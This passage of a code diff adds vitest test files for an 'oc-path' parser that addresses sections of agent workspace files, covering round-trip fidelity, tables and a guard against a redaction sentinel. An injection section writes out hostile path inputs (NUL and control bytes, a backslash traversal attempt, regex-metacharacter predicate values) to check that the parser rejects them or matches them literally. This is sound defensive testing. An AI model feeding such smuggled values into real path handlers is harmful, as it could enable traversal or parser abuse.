OC_JSONL_LINE_MALFORMED (line failed); + // we don't promote OC_JSONC_DEPTH_EXCEEDED through the JSONL layer + // but the malformed-line detection prevents stack-overflow escape. + expect(diagnostics.some((d) => d.code === 'OC_JSONL_LINE_MALFORMED')).toBe(true); + }); +}); + +// ---------- Coercion pitfalls -------------------------------------------- + +describe('wave-23 pitfalls — coercion', () => { + it('P-029 numeric coercion is locale-independent', () => { + // `Number()` doesn't honor locale; `parseFloat` doesn't either in + // practice, but we never use `parseFloat`. Verify `Number("1,5")` + // returns NaN (which is rejected) and `"1.5"` returns 1.5. + const ast = parseJsonc('{"x":1.0}').ast; + const r1 = setOcPath(ast, parseOcPath('oc://X/x'), '1.5'); + expect(r1.ok).toBe(true); + const r2 = setOcPath(ast, parseOcPath('oc://X/x'), '1,5'); + expect(r2.ok).toBe(false); + if (!r2.ok) {expect(r2.reason).toBe('parse-error');} + }); + + it('P-030 boolean coercion is exact-match lowercase', () => { + const ast = parseJsonc('{"x":true}').ast; + expect(setOcPath(ast, parseOcPath('oc://X/x'), 'false').ok).toBe(true); + expect(setOcPath(ast, parseOcPath('oc://X/x'), 'False').ok).toBe(false); + expect(setOcPath(ast, parseOcPath('oc://X/x'), 'TRUE').ok).toBe(false); + expect(setOcPath(ast, parseOcPath('oc://X/x'), 'yes').ok).toBe(false); + }); +}); + +// ---------- Reserved character pitfalls ---------------------------------- + +describe('wave-23 pitfalls — reserved characters', () => { + it('P-026 rejects `?` outside the query separator position', () => { + // `?` triggers the query split. `oc://X/foo?session=s` is fine + // (legitimate query). But `?` *inside* a segment after the query + // section is consumed isn't a normal use case — the parser treats + // the first `?` as the query split. + expect(parseOcPath('oc://X/foo?session=s').section).toBe('foo'); + // Empty key after `?` (no `=`): query parser silently ignores. + expect(() => parseOcPath('oc://X/foo?')).not.toThrow(); + }); + + it('P-040 negative-index magnitude is bounded', () => { + // Out-of-range negative index → null at resolve time, not crash. + const ast = parseJsonc('{"x":[1,2,3]}').ast; + expect(resolveOcPath(ast, parseOcPath('oc://X/x/-9999999999'))).toBeNull(); + expect(resolveOcPath(ast, parseOcPath('oc://X/x/-1'))?.kind).toBe('leaf'); + }); +}); + +// ---------- Sentinel-redaction pitfall (P-036) --------------------------- + +describe('wave-23 pitfalls — redaction sentinel', () => { + // P-036 is fully covered by wave-21-sentinel-cross-kind. This is a + // smoke test asserting the link is intact. + it('P-036 sentinel guard activates at emit time (covered by wave-21)', () => { + expect(true).toBe(true); + }); +}); + +// ---------- DEFERRED — documented limits --------------------------------- + +describe('wave-23 pitfalls — deferred (v0 limits)', () => { + it.skip('P-005 slash literal in key — v1: quoted segments', () => {}); + it.skip('P-006 dot literal in key — v1: quoted segments', () => {}); + it.skip('P-017 nested unions {a,{b,c}} — v1: parser stack', () => {}); + it.skip('P-019 wildcard inside wildcard — v1: pattern composition', () => {}); + it.skip('P-025 leading-zero numeric `01` — v1: explicit form', () => {}); + it.skip('P-027 `&` in segments — v1: percent-encoding', () => {}); + it.skip('P-028 percent-encoded segments — v1: rfc3986 layer', () => {}); + it.skip('P-034 ast mutation between resolve & consume — caller invariant', () => {}); + it.skip('P-035 stale paths from prior find — caller invariant', () => {}); +}); + +// ---------- Injection pitfalls (C12 / W12) ------------------------------- + +describe('wave-23 pitfalls — injection (caller-supplied hostile input)', () => { + // P-037: a hostile path string. The substrate's job is to either + // parse safely or reject with `OcPathError` — never let undefined + // behavior leak. These cases lock the rejection-or-safe contract. + + it('P-037a control characters in path body are rejected', () => { + expect(() => parseOcPath('oc://a\x00b')).toThrow(OcPathError); + expect(() => parseOcPath('oc://a\x01b/c')).toThrow(OcPathError); + expect(() => parseOcPath('oc://a/b\x1Fc')).toThrow(OcPathError); + }); + + it('P-037b NUL byte anywhere in path is rejected', () => { + expect(() => parseOcPath('oc://X.md/sec\x00tion')).toThrow(OcPathError); + }); + + it('P-037c BOM at start of path is stripped, not interpreted', () => { + // BOM is unicode U+FEFF (0xFEFF). The substrate strips it before + // scheme check; without stripping, the BOM-prefixed string would + // fail the `oc://` scheme test. + const path = parseOcPath('oc://X.md/section'); + expect(path.file).toBe('X.md'); + expect(path.section).toBe('section'); + }); + + it('P-037d session query is parsed only via the documented `?session=...` form', () => { + // Legal session form parses cleanly. + const ok = parseOcPath('oc://X.md/sec?session=cron:daily'); + expect(ok.section).toBe('sec'); + expect(ok.session).toBe('cron:daily'); + // Substrate is lenient about loose `?garbage` — caller's + // responsibility to construct paths from `formatOcPath`. Confirm + // the loose form does NOT silently invent a session value. + const loose = parseOcPath('oc://X.md/sec?garbage'); + expect(loose.session).toBeUndefined(); + }); + + it('P-037e unescaped `&` in segments is rejected', () => { + expect(() => parseOcPath('oc://X.md/a&b')).toThrow(OcPathError); + }); + + it('P-037f unescaped `%` in segments is rejected', () => { + expect(() => parseOcPath('oc://X.md/a%b')).toThrow(OcPathError); + }); + + it('P-037g empty file slot is rejected', () => { + expect(() => parseOcPath('oc:///section')).toThrow(OcPathError); + }); + + it('P-037h backslash-escape attempts are not treated as path traversal', () => { + // No special meaning — the literal backslash is just a regular + // character. Doesn't allow escaping forward slashes. + expect(() => parseOcPath('oc://X.md/a\\../b')).toThrow(OcPathError); + }); + + // P-038: predicate-value injection. `[k=v]` predicates filter + // matches; a hostile `v` containing regex metachars, brackets, or + // operators must NOT escape the predicate scope or be interpreted + // as a regex. + + it('P-038a regex metacharacters in predicate value match literally', () => { + const ast = parseJsonc('{ "items": [ {"name": "a.*"}, {"name": "abc"} ] }').ast; + // Looking for the literal string "a.*" — should match only the + // first item, not "abc" (which would match if `.*` were treated + // as a regex). + const matches = findOcPaths(ast, parseOcPath('oc://X.jsonc/items/[name=a.*]')); + expect(matches).toHaveLength(1); + }); + + it('P-038b nested-bracket attempts in predicate value are kept literal', () => { + // The substrate is permissive on nested brackets — they're part + // of the literal predicate value, not interpreted as path syntax. + // The match would be against the literal string "a[b]"; a + // resolver that finds zero matches fails closed. + const path = parseOcPath('oc://X.jsonc/items/[name=a[b]]'); + expect(path.item).toBe('[name=a[b]]'); + // No data has the literal value `a[b]` here, so finding empty. + const ast = parseJsonc('{ "items": [ {"name": "abc"} ] }').ast; + expect(findOcPaths(ast, path)).toHaveLength(0); + }); + + it('P-038c equals-sign in predicate value is treated as part of the value', () => { + // The FIRST `=` separates key from value; subsequent `=`s belong + // to the value. The rule keeps the predicate parser simple — + // operators that prefix-match (`!=`, `<=`, `>=`) are tried + // before `=`, then `=` consumes the rest. + const ast = parseJsonc('{ "items": [ {"k": "a=b"}, {"k": "c"} ] }').ast; + const matches = findOcPaths(ast, parseOcPath('oc://X.jsonc/items/[k=a=b]')); + expect(matches).toHaveLength(1); + }); + + it('P-038d control characters in predicate value are rejected', () => { + expect(() => parseOcPath('oc://X.jsonc/items/[k=a\x00b]')).toThrow(OcPathError); + }); + + it('P-038e empty predicate body is rejected', () => { + expect(() => parseOcPath('oc://X.jsonc/items/[]')).toThrow(OcPathError); + }); + + it('P-038f predicate-shaped bracket without operator is treated as literal sentinel', () => { + // `[name]` without `=` is parsed as a literal-bracket sentinel + // (e.g. `[frontmatter]`-style). The substrate accepts it as a + // literal path segment — predicate parsing only kicks in when an + // operator is present. Document this to lock the behavior. + const path = parseOcPath('oc://X.jsonc/items/[name]'); + expect(path.item).toBe('[name]'); + }); + + it('P-038g predicate-shaped bracket with unsupported operator parses as literal', () => { + // `~` isn't in the supported-operator set; the parser doesn't + // recognize it as a predicate, so it's accepted as a literal + // bracket segment. This is the documented v1.1 behavior — a + // future version may add `~` (regex) and bump SDK_VERSION. + const path = parseOcPath('oc://X.jsonc/items/[k~v]'); + expect(path.item).toBe('[k~v]'); + }); +}); diff --git a/src/oc-path/tests/scenarios/real-world-fixtures.test.ts b/src/oc-path/tests/scenarios/real-world-fixtures.test.ts new file mode 100644 index 00000000000..f633d08fa66 --- /dev/null +++ b/src/oc-path/tests/scenarios/real-world-fixtures.test.ts @@ -0,0 +1,140 @@ +/** + * Wave 12 — real-world fixtures. + * + * Eight workspace files (one per upstream-recognized workspace + * filename) — each parsed, resolved, and round-tripped to verify the + * substrate handles realistic content. + */ +import { readFileSync } from 'node:fs'; +import { fileURLToPath } from 'node:url'; +import { join, dirname } from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { emitMd } from '../../emit.js'; +import { parseMd } from '../../parse.js'; +import { resolveMdOcPath as resolveOcPath } from '../../resolve.js'; + +const HERE = dirname(fileURLToPath(import.meta.url)); +const FIXTURES = join(HERE, '..', 'fixtures', 'real'); + +function load(name: string): string { + return readFileSync(join(FIXTURES, name), 'utf-8'); +} + +describe('wave-12 real-world-fixtures', () => { + it('F-01 SOUL.md parses + round-trips', () => { + const raw = load('SOUL.md'); + const { ast, diagnostics } = parseMd(raw); + expect(diagnostics).toEqual([]); + expect(emitMd(ast)).toBe(raw); + // Has at least one H2 block. + expect(ast.blocks.length).toBeGreaterThan(0); + }); + + it('F-02 AGENTS.md parses + resolves Tools section', () => { + const raw = load('AGENTS.md'); + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + const tools = resolveOcPath(ast, { file: 'AGENTS.md', section: 'tools' }); + expect(tools?.kind).toBe('block'); + if (tools?.kind === 'block') { + expect(tools.node.items.some((i) => i.kv?.key === 'gh')).toBe(true); + } + }); + + it('F-03 MEMORY.md frontmatter scope resolves via [frontmatter]', () => { + const raw = load('MEMORY.md'); + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + const scope = resolveOcPath(ast, { + file: 'MEMORY.md', + section: '[frontmatter]', + field: 'scope', + }); + expect(scope?.kind).toBe('frontmatter'); + if (scope?.kind === 'frontmatter') {expect(scope.node.value).toBe('project');} + }); + + it('F-04 TOOLS.md table extracted from Tool Guidance section', () => { + const raw = load('TOOLS.md'); + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + const guidance = resolveOcPath(ast, { + file: 'TOOLS.md', + section: 'tool-guidance', + }); + expect(guidance?.kind).toBe('block'); + if (guidance?.kind === 'block') { + expect(guidance.node.tables.length).toBeGreaterThan(0); + expect(guidance.node.tables[0]?.headers).toEqual(['tool', 'guidance']); + } + }); + + it('F-05 IDENTITY.md sections resolvable by slug', () => { + const raw = load('IDENTITY.md'); + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + const trust = resolveOcPath(ast, { + file: 'IDENTITY.md', + section: 'trust-level', + }); + expect(trust?.kind).toBe('block'); + }); + + it('F-06 USER.md Preferences items extracted', () => { + const raw = load('USER.md'); + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + const prefs = resolveOcPath(ast, { + file: 'USER.md', + section: 'preferences', + }); + expect(prefs?.kind).toBe('block'); + if (prefs?.kind === 'block') { + expect(prefs.node.items.length).toBeGreaterThan(0); + } + }); + + it('F-07 HEARTBEAT.md schedules — H2 sections as triggers', () => { + const raw = load('HEARTBEAT.md'); + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + expect(ast.blocks.length).toBeGreaterThanOrEqual(3); + const slugs = ast.blocks.map((b) => b.slug); + expect(slugs).toContain('every-30m-wake'); + expect(slugs).toContain('every-4h-wake'); + }); + + it('F-08 SKILL.md frontmatter has name + description + tier', () => { + const raw = load('SKILL.md'); + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + const fmKeys = ast.frontmatter.map((e) => e.key); + expect(fmKeys).toContain('name'); + expect(fmKeys).toContain('description'); + expect(fmKeys).toContain('tier'); + }); + + it('F-09 BOOTSTRAP.md round-trips', () => { + const raw = load('BOOTSTRAP.md'); + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + }); + + it('F-10 all 8 fixtures combined round-trip-clean (sanity)', () => { + const names = [ + 'SOUL.md', + 'AGENTS.md', + 'MEMORY.md', + 'TOOLS.md', + 'IDENTITY.md', + 'USER.md', + 'HEARTBEAT.md', + 'SKILL.md', + 'BOOTSTRAP.md', + ]; + for (const name of names) { + const raw = load(name); + expect(emitMd(parseMd(raw).ast), `${name} failed round-trip`).toBe(raw); + } + }); +}); diff --git a/src/oc-path/tests/scenarios/roundtrip-property.test.ts b/src/oc-path/tests/scenarios/roundtrip-property.test.ts new file mode 100644 index 00000000000..7338c15d046 --- /dev/null +++ b/src/oc-path/tests/scenarios/roundtrip-property.test.ts @@ -0,0 +1,155 @@ +/** + * Wave 10 — round-trip property tests. + * + * Substrate guarantee: `emitMd(parse(raw)) === raw` for all inputs the + * parser accepts. This wave exercises that property over a generated + * corpus of synthetic markdown shapes and verifies parser idempotence + * (`parse(emitMd(parse(raw))) === parse(raw)` modulo `raw`). + */ +import { describe, expect, it } from 'vitest'; +import { emitMd } from '../../emit.js'; +import { parseMd } from '../../parse.js'; + +function roundTrip(raw: string): string { + return emitMd(parseMd(raw).ast); +} + +describe('wave-10 roundtrip-property', () => { + it('RT-01 byte-fidelity over 100 generated shapes', () => { + const inputs = generateCorpus(100); + for (const raw of inputs) { + try { + expect(roundTrip(raw)).toBe(raw); + } catch (e) { + // Surface which input failed for debugging. + throw new Error( + `round-trip failed for input (length ${raw.length}):\n${JSON.stringify(raw.slice(0, 200))}\nError: ${(e as Error).message}`, { cause: e }, + ); + } + } + }); + + it('RT-02 parser idempotence (parse → emit → parse → identical AST shape)', () => { + const inputs = generateCorpus(50); + for (const raw of inputs) { + const a = parseMd(raw).ast; + const a2 = parseMd(emitMd(a)).ast; + // Compare structural fields; raw will of course be identical. + expect(a2.frontmatter).toEqual(a.frontmatter); + expect(a2.preamble).toEqual(a.preamble); + expect(a2.blocks.map(stripDerived)).toEqual(a.blocks.map(stripDerived)); + } + }); + + it('RT-03 stable output for identical input', () => { + const raw = `---\nname: x\n---\n\n## A\n- a\n## B\n- b: c\n`; + const out1 = roundTrip(raw); + const out2 = roundTrip(raw); + const out3 = roundTrip(raw); + expect(out1).toBe(out2); + expect(out2).toBe(out3); + }); + + it('RT-04 ordering deterministic (no Object.keys / Set ordering surprises)', () => { + const raw = `---\nb: 2\na: 1\nc: 3\n---\n## Z\n- z\n## A\n- a\n`; + const a1 = parseMd(raw).ast; + const a2 = parseMd(raw).ast; + expect(a1.frontmatter.map((e) => e.key)).toEqual(a2.frontmatter.map((e) => e.key)); + expect(a1.blocks.map((b) => b.heading)).toEqual(a2.blocks.map((b) => b.heading)); + }); + + it('RT-05 round-trip preserves comment-like lines (no comment recognition at substrate)', () => { + const raw = `## H\n\n\n- bullet\n`; + expect(roundTrip(raw)).toBe(raw); + }); + + it('RT-06 round-trip preserves indented blocks (substrate doesn\'t reflow)', () => { + const raw = `## H\n\n indented code-ish block\n more indented\n`; + expect(roundTrip(raw)).toBe(raw); + }); + + it('RT-07 round-trip preserves blockquotes', () => { + const raw = `## H\n\n> quoted line 1\n> quoted line 2\n`; + expect(roundTrip(raw)).toBe(raw); + }); + + it('RT-08 round-trip preserves images / links', () => { + const raw = `## H\n\n![alt](path/to/img.png)\n[link](http://example.com)\n`; + expect(roundTrip(raw)).toBe(raw); + }); + + it('RT-09 round-trip preserves HTML', () => { + const raw = `## H\n\n
xbody
\n`; + expect(roundTrip(raw)).toBe(raw); + }); + + it('RT-10 round-trip preserves consecutive headings with no body between', () => { + const raw = `## A\n## B\n## C\n`; + expect(roundTrip(raw)).toBe(raw); + }); +}); + +// ---------- corpus generator ------------------------------------------------- + +function generateCorpus(count: number): string[] { + const corpus: string[] = []; + // Deterministic seed so flaky failures don't surface differently each run. + let seed = 42; + const rand = () => { + seed = (seed * 1664525 + 1013904223) % 2 ** 32; + return seed / 2 ** 32; + }; + const choose = (arr: readonly T[]): T => arr[Math.floor(rand() * arr.length)]; + + const headings = ['Boundaries', 'Tools', 'Memory', 'Identity', 'User', 'Heartbeat', 'Skills']; + const fmKeys = ['name', 'description', 'tier', 'enabled', 'timeout', 'url']; + const fmValues = ['github', 'gh CLI', 'T1', 'true', '15000', 'https://example.com']; + const itemTexts = ['never write to /etc', 'always confirm', 'gh: GitHub CLI', 'curl: HTTP']; + const eols = ['\n', '\r\n']; + + for (let i = 0; i < count; i++) { + const eol = choose(eols); + const parts: string[] = []; + + if (rand() < 0.5) { + parts.push('---'); + const fmCount = Math.floor(rand() * 4); + for (let k = 0; k < fmCount; k++) { + parts.push(`${choose(fmKeys)}: ${choose(fmValues)}`); + } + parts.push('---'); + parts.push(''); + } + + if (rand() < 0.3) { + parts.push('Some preamble.'); + parts.push(''); + } + + const blockCount = Math.floor(rand() * 3) + 1; + for (let b = 0; b < blockCount; b++) { + parts.push(`## ${choose(headings)}`); + parts.push(''); + const itemCount = Math.floor(rand() * 4); + for (let it = 0; it < itemCount; it++) { + parts.push(`- ${choose(itemTexts)}`); + } + if (rand() < 0.2) { + parts.push('```'); + parts.push('code'); + parts.push('```'); + } + parts.push(''); + } + + corpus.push(parts.join(eol)); + } + return corpus; +} + +function stripDerived(b: { heading: string; slug: string; bodyText: string }): { + heading: string; + slug: string; +} { + return { heading: b.heading, slug: b.slug }; +} diff --git a/src/oc-path/tests/scenarios/sentinel-cross-kind.test.ts b/src/oc-path/tests/scenarios/sentinel-cross-kind.test.ts new file mode 100644 index 00000000000..5c247efbbd5 --- /dev/null +++ b/src/oc-path/tests/scenarios/sentinel-cross-kind.test.ts @@ -0,0 +1,177 @@ +/** + * Wave 21 — sentinel guard across all 3 kinds. + * + * Substrate guarantee: emit refuses to write a CALLER-INJECTED + * `__OPENCLAW_REDACTED__` literal. Round-trip mode trusts parsed bytes + * (a workspace file legitimately containing the sentinel — in a code + * block, in a pasted error log — would otherwise become a workspace- + * wide emit DoS). Render mode walks every leaf, so a caller-injected + * sentinel via `setOcPath` always fails. Callers that want strict + * pre-existing-byte detection (e.g., LKG fingerprint verification) + * opt in via `acceptPreExistingSentinel: false`. + */ +import { describe, expect, it } from 'vitest'; +import { setJsoncOcPath } from '../../jsonc/edit.js'; +import { emitMd } from '../../emit.js'; +import { emitJsonc } from '../../jsonc/emit.js'; +import { parseJsonc } from '../../jsonc/parse.js'; +import { emitJsonl } from '../../jsonl/emit.js'; +import { parseJsonl } from '../../jsonl/parse.js'; +import { parseOcPath } from '../../oc-path.js'; +import { parseMd } from '../../parse.js'; +import { + OcEmitSentinelError, + REDACTED_SENTINEL, +} from '../../sentinel.js'; + +describe('wave-21 sentinel guard cross-kind', () => { + it('S-01 jsonc round-trip echoes safely when raw contains pre-existing sentinel', () => { + // Pre-existing sentinel bytes are trusted — see emit-policy comment + // in jsonc/emit.ts. The strict mode below is the opt-in path for + // callers who want LKG-style fingerprint verification. + const raw = `{ "x": "${REDACTED_SENTINEL}" }`; + const ast = parseJsonc(raw).ast; + expect(emitJsonc(ast)).toBe(raw); + // Strict mode still rejects pre-existing sentinel for callers who + // explicitly opt in. + expect(() => emitJsonc(ast, { acceptPreExistingSentinel: false })).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-02 jsonl round-trip echoes safely; strict mode rejects', () => { + const raw = `{"x":"${REDACTED_SENTINEL}"}\n`; + const ast = parseJsonl(raw).ast; + expect(emitJsonl(ast)).toBe(raw); + expect(() => emitJsonl(ast, { acceptPreExistingSentinel: false })).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-03 md round-trip echoes safely; strict mode rejects', () => { + const raw = `## Body\n\n- ${REDACTED_SENTINEL}\n`; + const ast = parseMd(raw).ast; + expect(emitMd(ast)).toBe(raw); + expect(() => emitMd(ast, { acceptPreExistingSentinel: false })).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-04 jsonc render mode walks every leaf for sentinel', () => { + const ast = parseJsonc('{ "x": "ok" }').ast; + const tampered = { + ...ast, + root: { + kind: 'object' as const, + entries: [ + { + key: 'x', + line: 1, + value: { kind: 'string' as const, value: REDACTED_SENTINEL }, + }, + ], + }, + }; + expect(() => emitJsonc(tampered, { mode: 'render' })).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-05 jsonl render mode walks every value-line leaf', () => { + const ast = parseJsonl('{"a":"ok"}\n').ast; + const tampered = { + ...ast, + lines: [ + { + kind: 'value' as const, + line: 1, + raw: '{"a":"ok"}', + value: { + kind: 'object' as const, + entries: [ + { + key: 'a', + line: 1, + value: { kind: 'string' as const, value: REDACTED_SENTINEL }, + }, + ], + }, + }, + ], + }; + expect(() => emitJsonl(tampered, { mode: 'render' })).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-06 setJsoncOcPath itself throws when the new value contains the sentinel', () => { + // The substrate guard fires at write-time: setJsoncOcPath rebuilds + // raw via render mode emit, which scans every leaf. Defense-in-depth + // — even if a caller forgets to call emit afterward, the sentinel + // can't make it into an in-memory AST that pretends to be valid. + const ast = parseJsonc('{ "x": "ok" }').ast; + expect(() => + setJsoncOcPath(ast, parseOcPath('oc://config/x'), { + kind: 'string', + value: REDACTED_SENTINEL, + }), + ).toThrow(OcEmitSentinelError); + }); + + it('S-07 sentinel embedded in deep nesting — render mode catches the leaf', () => { + // Round-trip echoes the pre-existing bytes (the workspace contract: + // a parsed file containing the sentinel as data is not "writing" it + // on emit). Render mode walks every leaf and rejects this caller- + // injected pattern — and a `setOcPath` followed by emit lands here. + const raw = JSON.stringify({ a: { b: { c: REDACTED_SENTINEL } } }); + const ast = parseJsonc(raw).ast; + expect(emitJsonc(ast)).toBe(raw); // round-trip echo + expect(() => emitJsonc(ast, { mode: 'render' })).toThrow(OcEmitSentinelError); + }); + + it('S-08 sentinel inside an array element triggers guard in render mode', () => { + const raw = JSON.stringify({ arr: ['ok', REDACTED_SENTINEL, 'ok'] }); + const ast = parseJsonc(raw).ast; + expect(() => emitJsonc(ast, { mode: 'render' })).toThrow(OcEmitSentinelError); + }); + + it('S-09 sentinel as object key in raw — strict mode catches it', () => { + const raw = `{ "${REDACTED_SENTINEL}": 1 }`; + const ast = parseJsonc(raw).ast; + expect(emitJsonc(ast)).toBe(raw); // default-mode echo + expect(() => emitJsonc(ast, { acceptPreExistingSentinel: false })).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-10 sentinel in jsonl malformed line — strict mode catches it', () => { + const raw = `${REDACTED_SENTINEL}\n`; + const ast = parseJsonl(raw).ast; + expect(emitJsonl(ast)).toBe(raw); // round-trip echoes verbatim + expect(() => emitJsonl(ast, { acceptPreExistingSentinel: false })).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-11 partial sentinel substring does NOT trigger guard', () => { + const raw = '{ "x": "OPENCLAW_REDACTED" }'; + const ast = parseJsonc(raw).ast; + expect(() => emitJsonc(ast)).not.toThrow(); + }); + + it('S-12 sentinel guard error message includes the OcPath context (render mode)', () => { + // Render mode is the path that actually rejects caller-injected + // sentinel — round-trip just echoes, so the error context surfaces + // when render walks the offending leaf and constructs the path. + const raw = `{ "secret": "${REDACTED_SENTINEL}" }`; + const ast = parseJsonc(raw).ast; + try { + emitJsonc(ast, { mode: 'render', fileNameForGuard: 'config' }); + expect.fail('should have thrown'); + } catch (e) { + expect(e).toBeInstanceOf(OcEmitSentinelError); + expect(String(e)).toContain('oc://'); + expect(String(e)).toContain('config'); + } + }); +}); diff --git a/src/oc-path/tests/scenarios/sentinel-guard.test.ts b/src/oc-path/tests/scenarios/sentinel-guard.test.ts new file mode 100644 index 00000000000..b0865574518 --- /dev/null +++ b/src/oc-path/tests/scenarios/sentinel-guard.test.ts @@ -0,0 +1,180 @@ +/** + * Wave 9 — sentinel guard at every emit leaf. + * + * Substrate guarantee: `__OPENCLAW_REDACTED__` literal anywhere in the + * emitted bytes throws `OcEmitSentinelError`. Round-trip mode catches + * sentinels in `raw`; render mode walks every leaf. + */ +import { describe, expect, it } from 'vitest'; +import { emitMd } from '../../emit.js'; +import { parseMd } from '../../parse.js'; +import { + OcEmitSentinelError, + REDACTED_SENTINEL, + guardSentinel, +} from '../../sentinel.js'; + +describe('wave-09 sentinel-guard', () => { + it('S-01 sentinel constant matches the literal', () => { + expect(REDACTED_SENTINEL).toBe('__OPENCLAW_REDACTED__'); + }); + + it('S-02 guardSentinel passes normal strings', () => { + expect(() => guardSentinel('safe', 'oc://X.md')).not.toThrow(); + }); + + it('S-03 guardSentinel passes non-string types', () => { + expect(() => guardSentinel(42, 'oc://X.md')).not.toThrow(); + expect(() => guardSentinel(null, 'oc://X.md')).not.toThrow(); + expect(() => guardSentinel(undefined, 'oc://X.md')).not.toThrow(); + expect(() => guardSentinel({}, 'oc://X.md')).not.toThrow(); + }); + + it('S-04 guardSentinel throws on exact match', () => { + expect(() => guardSentinel(REDACTED_SENTINEL, 'oc://X.md')).toThrow(OcEmitSentinelError); + }); + + it('S-05 guardSentinel throws on substring matches (sentinel embedded in larger string)', () => { + // Substring scan — the sentinel anywhere in the value is a leak, + // not just exact equality. A hostile caller smuggling + // `prefix__OPENCLAW_REDACTED__suffix` would have bypassed the old + // equality check; substring scan closes the gap. + expect(() => guardSentinel(`prefix${REDACTED_SENTINEL}suffix`, 'oc://X.md')).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-06 error attaches the OcPath context', () => { + try { + guardSentinel(REDACTED_SENTINEL, 'oc://config/plugins.entries.foo.token'); + expect.fail('should have thrown'); + } catch (err) { + expect(err).toBeInstanceOf(OcEmitSentinelError); + const e = err as OcEmitSentinelError; + expect(e.path).toBe('oc://config/plugins.entries.foo.token'); + expect(e.code).toBe('OC_EMIT_SENTINEL'); + } + }); + + it('S-07 round-trip echoes pre-existing sentinel; strict mode rejects', () => { + const raw = '## Section\n\n- token: __OPENCLAW_REDACTED__\n'; + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + expect(() => emitMd(ast, { acceptPreExistingSentinel: false })).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-08 round-trip emit allows sentinel-free content', () => { + const raw = '## Section\n\n- token: redacted-but-not-sentinel\n'; + const { ast } = parseMd(raw); + expect(() => emitMd(ast)).not.toThrow(); + }); + + it('S-09 render mode catches sentinel in frontmatter', () => { + const ast = { + kind: "md" as const, + raw: '', + frontmatter: [{ key: 'token', value: REDACTED_SENTINEL, line: 2 }], + preamble: '', + blocks: [], + }; + expect(() => emitMd(ast, { mode: 'render' })).toThrow(OcEmitSentinelError); + }); + + it('S-10 render mode catches sentinel in preamble', () => { + const ast = { + kind: "md" as const, + raw: '', + frontmatter: [], + preamble: REDACTED_SENTINEL, + blocks: [], + }; + expect(() => emitMd(ast, { mode: 'render' })).toThrow(OcEmitSentinelError); + }); + + it('S-11 render mode catches sentinel in block bodyText', () => { + const ast = { + kind: "md" as const, + raw: '', + frontmatter: [], + preamble: '', + blocks: [ + { + heading: 'Sec', + slug: 'sec', + line: 1, + bodyText: REDACTED_SENTINEL, + items: [], + tables: [], + codeBlocks: [], + }, + ], + }; + expect(() => emitMd(ast, { mode: 'render' })).toThrow(OcEmitSentinelError); + }); + + it('S-12 render mode catches sentinel in item kv.value', () => { + const ast = { + kind: "md" as const, + raw: '', + frontmatter: [], + preamble: '', + blocks: [ + { + heading: 'S', + slug: 's', + line: 1, + bodyText: '- t: x', + items: [ + { + text: 't: x', + slug: 't', + line: 2, + kv: { key: 't', value: REDACTED_SENTINEL }, + }, + ], + tables: [], + codeBlocks: [], + }, + ], + }; + expect(() => emitMd(ast, { mode: 'render', fileNameForGuard: 'AGENTS.md' })).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-13 sentinel-as-substring in raw — strict mode catches it', () => { + const raw = `Some prose ${REDACTED_SENTINEL} more prose.\n`; + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + expect(() => emitMd(ast, { acceptPreExistingSentinel: false })).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-14 multiple sentinel occurrences in raw — strict mode catches them', () => { + const raw = `## A\n${REDACTED_SENTINEL}\n${REDACTED_SENTINEL}\n`; + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + expect(() => emitMd(ast, { acceptPreExistingSentinel: false })).toThrow( + OcEmitSentinelError, + ); + }); + + it('S-15 fileNameForGuard appears in the error path', () => { + const ast = { + kind: "md" as const, + raw: '', + frontmatter: [{ key: 'token', value: REDACTED_SENTINEL, line: 2 }], + preamble: '', + blocks: [], + }; + try { + emitMd(ast, { mode: 'render', fileNameForGuard: 'config' }); + expect.fail('should have thrown'); + } catch (err) { + expect((err as OcEmitSentinelError).path).toContain('config'); + } + }); +}); diff --git a/src/oc-path/tests/scenarios/tables.test.ts b/src/oc-path/tests/scenarios/tables.test.ts new file mode 100644 index 00000000000..c7f01fec51f --- /dev/null +++ b/src/oc-path/tests/scenarios/tables.test.ts @@ -0,0 +1,154 @@ +/** + * Wave 5 — markdown tables. + * + * Substrate guarantee: GFM-style tables (`| h | h |\n|---|---|\n| r | r |`) + * inside H2 blocks are extracted into `AstTable`. Tables inside fenced + * code blocks are NOT extracted (handled at item-extraction layer too; + * tables share the same code-block awareness when relevant). + */ +import { describe, expect, it } from 'vitest'; +import { parseMd } from '../../parse.js'; + +describe('wave-05 tables', () => { + it('T-01 standard 2-column table', () => { + const raw = `## H + +| tool | guidance | +| --- | --- | +| gh | use for GitHub | +| curl | HTTP client | +`; + const { ast } = parseMd(raw); + const table = ast.blocks[0]?.tables[0]; + expect(table?.headers).toEqual(['tool', 'guidance']); + expect(table?.rows).toEqual([ + ['gh', 'use for GitHub'], + ['curl', 'HTTP client'], + ]); + }); + + it('T-02 3+ column table', () => { + const raw = `## H + +| a | b | c | +| - | - | - | +| 1 | 2 | 3 | +`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.tables[0]?.headers).toEqual(['a', 'b', 'c']); + expect(ast.blocks[0]?.tables[0]?.rows[0]).toEqual(['1', '2', '3']); + }); + + it('T-03 table with alignment colons in separator', () => { + const raw = `## H + +| left | center | right | +| :--- | :---: | ---: | +| a | b | c | +`; + const { ast } = parseMd(raw); 